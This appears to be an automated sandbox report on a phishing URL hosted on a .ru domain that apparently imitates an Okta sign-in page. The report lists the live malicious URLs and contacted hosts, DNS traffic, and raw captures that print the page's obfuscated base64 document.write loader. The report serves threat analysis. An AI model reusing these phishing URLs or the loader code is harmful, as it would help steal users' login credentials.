https://b3rz.5m54lq.ru/xy8sEcUtK4pgBbthxRMPpKtkyoIMdeQlyILI7gy	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://b3rz.5m54lq.ru/ijjYvOxYMSzAEsVBStmB794isDmn6Kf0GmqqNgoZ2BKLadyUfgef204	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/efQTK64w0MiBOoPqEhaZWEfykleMB7iip2pL2hWMZXiaQh90141	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://b3rz.5m54lq.ru/A9y-e3M/	true		unknown
https://b3rz.5m54lq.ru/oprGaEGbXMz6S7UKvCZsG5fDhA1DvdVOF3dauv8xc6jTNdfa2KXoO5ef191	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://1deoi.pnkptj.ru/bhanchod@18747jh	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/xyDUcNavBFpq3vIgh25	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://b3rz.5m54lq.ru/ijFDhVZ5x4xtW1lwVm71gcdVaYkXcHhHQB5eM56170	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/qx3APPV8wLDVYwKk4WCMI6qD68lmbosuwXkSHAksMNgJVo4CS3fB7hx	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://b3rz.5m54lq.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/34WB3Q5Zd0ilQXlkxyUaYrb8920	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	true		unknown
https://b3rz.5m54lq.ru/mn2v8EPh1ZX1G9E3kgwfMh5ZMG75Rez5tkl0kvZNFQTCiwUWklJm1NdsDwx220	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/56jhdeaoizqzC4D1weZH9XklIVufCDZ66KbP89109	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/wxZAwU9RSzWHoVxqDm9WrsDu1ztSbiwYSNs0kSNY7DXguu90180	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/opgocw48m1OzfrlKePMpCpS31vyR7fEhmnmP6BY6gqZ9bZuqfpRJ67140	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=0hQGUj%2FAFf3Iq9Gbyrhd4giywLyJ270jZLzJU3P48v8AcJVdYiZYoxVqk5ym9%2FJWvsL1rZUucPJSeOiXfgVpyYKWvPqc9dtFM1HuJFrVOgfo2cf%2Bd%2BZJm54mDIjJ6sv5vtAU	false		high
https://b3rz.5m54lq.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.ebay.com	chromecache_87.1.dr	false		high
https://github.com/fent)	chromecache_92.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.16.3.189	unknown	United States	13335	CLOUDFLARENETUS	false
140.82.112.3	github.com	United States	36459	GITHUBUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.16.5.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.81.228	www.google.com	United States	15169	GOOGLEUS	false
104.21.80.1	1deoi.pnkptj.ru	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
104.21.112.1	unknown	United States	13335	CLOUDFLARENETUS	false
185.199.109.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
18.164.124.11	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.141.81	b3rz.5m54lq.ru	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1644533
Start date and time:	2025-03-20 16:54:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://b3rz.5m54lq.ru/A9y-e3M/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.evad.win@21/80@32/14
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): sppsvc.exe, SIHClient.exe, SgrmBroker.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.65.227, 142.251.40.174, 142.250.80.110, 142.251.16.84, 142.250.65.238, 142.251.40.110, 199.232.214.172, 142.251.32.110, 142.250.80.42, 142.251.41.10, 142.251.40.170, 142.250.80.106, 142.250.65.234, 142.251.40.202, 142.250.65.170, 142.251.40.234, 142.250.64.106, 142.250.80.10, 142.250.64.74, 142.250.65.202, 142.250.80.74, 142.250.72.106, 142.250.176.202, 172.217.165.138, 142.251.35.174, 142.251.40.227, 142.251.40.142, 4.245.163.56, 184.31.69.3
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://b3rz.5m54lq.ru/A9y-e3M/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 16:55:09.482569933 CET	53	57771	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:09.568176985 CET	53	62826	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:10.558537960 CET	53	51775	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:14.039077997 CET	52201	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:14.039288044 CET	62091	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:14.143790960 CET	53	52201	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:14.145740986 CET	53	62091	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:15.377964020 CET	56920	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:15.378098011 CET	51055	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:15.753046036 CET	53	56920	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:16.009211063 CET	53	51055	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:17.144458055 CET	55869	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:17.144788980 CET	58669	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:17.145426989 CET	53860	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:17.145617962 CET	60862	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:17.146008015 CET	59650	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:17.146147013 CET	56774	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:17.250495911 CET	53	58669	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:17.253081083 CET	53	60862	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:17.253576994 CET	53	59650	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:17.253593922 CET	53	53860	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:17.255317926 CET	53	56774	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:17.257184029 CET	53	55869	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:17.772701025 CET	60875	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:17.773132086 CET	65147	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:17.885747910 CET	53	60875	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:17.887474060 CET	53	65147	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:18.350761890 CET	58149	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:18.351042986 CET	50943	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:18.463502884 CET	53	58149	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:18.482901096 CET	53	50943	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:19.077644110 CET	59788	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:19.077967882 CET	62312	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:19.186103106 CET	53	59788	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:19.188785076 CET	53	62312	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:27.476783991 CET	53	64473	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:30.428777933 CET	56646	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:30.429063082 CET	57576	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:30.544516087 CET	53	57576	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:30.774163961 CET	53	56646	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:31.923445940 CET	54612	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:31.923578978 CET	60142	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:32.031078100 CET	53	54612	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:32.300384998 CET	53	60142	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:32.631103039 CET	49821	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:32.631237984 CET	60988	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:32.734633923 CET	53	49821	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:32.975146055 CET	53	60988	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:35.201426983 CET	57827	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:35.201585054 CET	59813	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:35.205908060 CET	56066	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:35.206007004 CET	61976	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:35.306581974 CET	53	57827	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:35.308269978 CET	53	59813	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:35.311597109 CET	53	56066	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:35.314326048 CET	53	61976	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:35.930524111 CET	50853	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:35.930999994 CET	65451	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:36.040739059 CET	53	50853	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:36.073883057 CET	53	65451	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:39.200879097 CET	65260	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:39.201040030 CET	55188	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:55:39.250055075 CET	53	57430	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:39.307041883 CET	53	65260	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:39.308660984 CET	53	55188	1.1.1.1	192.168.2.7
Mar 20, 2025 16:55:46.538018942 CET	53	64272	1.1.1.1	192.168.2.7
Mar 20, 2025 16:56:09.438915968 CET	53	58257	1.1.1.1	192.168.2.7
Mar 20, 2025 16:56:09.636727095 CET	53	57035	1.1.1.1	192.168.2.7
Mar 20, 2025 16:56:12.646667957 CET	53	62550	1.1.1.1	192.168.2.7
Mar 20, 2025 16:56:17.774434090 CET	61337	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:56:17.774593115 CET	51913	53	192.168.2.7	1.1.1.1
Mar 20, 2025 16:56:17.879965067 CET	53	51913	1.1.1.1	192.168.2.7
Mar 20, 2025 16:56:17.880995035 CET	53	61337	1.1.1.1	192.168.2.7

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 20, 2025 16:55:16.009342909 CET	192.168.2.7	1.1.1.1	c27b	(Port unreachable)	Destination Unreachable
Mar 20, 2025 16:55:32.300704956 CET	192.168.2.7	1.1.1.1	c2e0	(Port unreachable)	Destination Unreachable
Mar 20, 2025 16:55:36.073971033 CET	192.168.2.7	1.1.1.1	c248	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 20, 2025 16:55:29.144804001 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 20, 2025 16:55:29.248141050 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 20 Mar 2025 15:29:48 GMT Expires: Thu, 20 Mar 2025 16:19:48 GMT Age: 1541 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 20, 2025 16:55:29.254153967 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 20, 2025 16:55:29.361136913 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 20 Mar 2025 15:20:24 GMT Expires: Thu, 20 Mar 2025 16:10:24 GMT Age: 2105 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:16 UTC	672	OUT	GET /A9y-e3M/ HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:16 UTC	1212	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LJYv4LvzXxGi0%2FDChF2k2rgY%2BgqNLiyjAQyj7lw7rUIBAz8nfbI2VYL3JmwxwYZ2EJ9vLjHHlGAhBHHU%2BT8aHe0eP4kB36hotv2qs9eJFMxSCMeHAt89kB91UybcJu7EbZJ5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1183&min_rtt=1175&rtt_var=343&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1569&delivery_rate=2373770&cwnd=251&unsent_bytes=0&cid=19f934317843e747&ts=110&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilp0Zmk1U3BPWm10QXhoMG95eU81YXc9PSIsInZhbHVlIjoiL010OEVqam9kSWRwU21zVk5Pc1lPWnVYRHBFVEVYOTdKNlZoUHB0RVQyZ0dRN09kd1hONlcza3dqWnhvTmpIT2kxd3VkbDBrclc5RStLYngzTTN5RkV0V2NLeWNsNmNNa3huK2FLaUZUSGFlTDFDQVJpdjdVS0NJUmZuZkErbm0iLCJtYWMiOiJmZGMxZTg2Njc3ZDA4YTA1NDZkMmJmNGI3YjdiMDQyNmIyNzQ5NDQyZGY5NjRhMTE3NDYzZjU4NTM2NGZkYjk0IiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 17:55:16 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 15:55:16 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 46 69 4e 31 68 42 51 6b 59 78 51 6a 4a 36 56 6a 56 6f 4b 7a 5a 4c 54 6c 4a 56 55 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 7a 5a 56 55 6e 68 70 5a 46 64 54 54 30 64 4e 63 6c 6c 73 4d 55 74 6b 51 6d 35 57 55 6e 4a 59 63 7a 42 30 51 57 30 72 54 30 77 79 4c 32 39 45 62 45 63 77 64 56 52 77 57 6d 39 4b 59 6b 56 7a 5a 46 64 31 55 6e 56 47 57 57 31 42 4b 30 46 61 54 31 68 55 4e 6a 46 42 52 32 78 4c 61 6c 4a 46 4e 7a 4a 76 55 33 46 56 63 6b 45 79 57 47 6c 42 57 6c 6c 6b 51 7a 5a 75 4e 55 64 5a 56 48 4a 72 5a 43 39 33 63 6d 56 70 52 33 42 55 52 47 38 34 64 45 34 7a 4e 55 46 69 4c 30 63 79 53 58 46 72 4f 48 64 71 57 46 46 49 4e 55 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InFiN1hBQkYxQjJ6VjVoKzZLTlJVUFE9PSIsInZhbHVlIjoibzZVUnhpZFdTT0dNcllsMUtkQm5WUnJYczB0QW0rT0wyL29EbEcwdVRwWm9KYkVzZFd1UnVGWW1BK0FaT1hUNjFBR2xLalJFNzJvU3FVckEyWGlBWllkQzZuNUdZVHJrZC93cmVpR3BURG84dE4zNUFiL0cySXFrOHdqWFFINUc
2025-03-20 15:55:16 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 55 63 65 42 77 41 78 77 42 59 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 43 4d 33 4a 36 4c 6a 56 74 4e 54 52 73 63 53 35 79 64 53 39 42 4f 58 6b 74 5a 54 4e 4e 4c 77 3d 3d 22 29 3b 0a 43 4b 72 55 67 70 4e 64 5a 79 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 4d 55 51 62 68 73 59 51 4c 73 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 55 63 65 42 77 41 78 77 42 59 20 3d 3d 20 43 4b 72 55 67 70 4e 64 5a 79 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 4d 55 51 62 68 73 59 51 4c 73 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f Data Ascii: 7ff9<script>UceBwAxwBY = atob("aHR0cHM6Ly9CM3J6LjVtNTRscS5ydS9BOXktZTNNLw==");CKrUgpNdZy = atob("bm9tYXRjaA==");MUQbhsYQLs = atob("d3JpdGU=");if(UceBwAxwBY == CKrUgpNdZy){document[MUQbhsYQLs](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+Cjxo
2025-03-20 15:55:16 UTC	1369	IN	Data Raw: 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 Data Ascii: Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g4
2025-03-20 15:55:16 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 Data Ascii: k44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44
2025-03-20 15:55:16 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 Data Ascii: 776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk776
2025-03-20 15:55:16 UTC	1369	IN	Data Raw: 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 Data Ascii: 76g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g776g
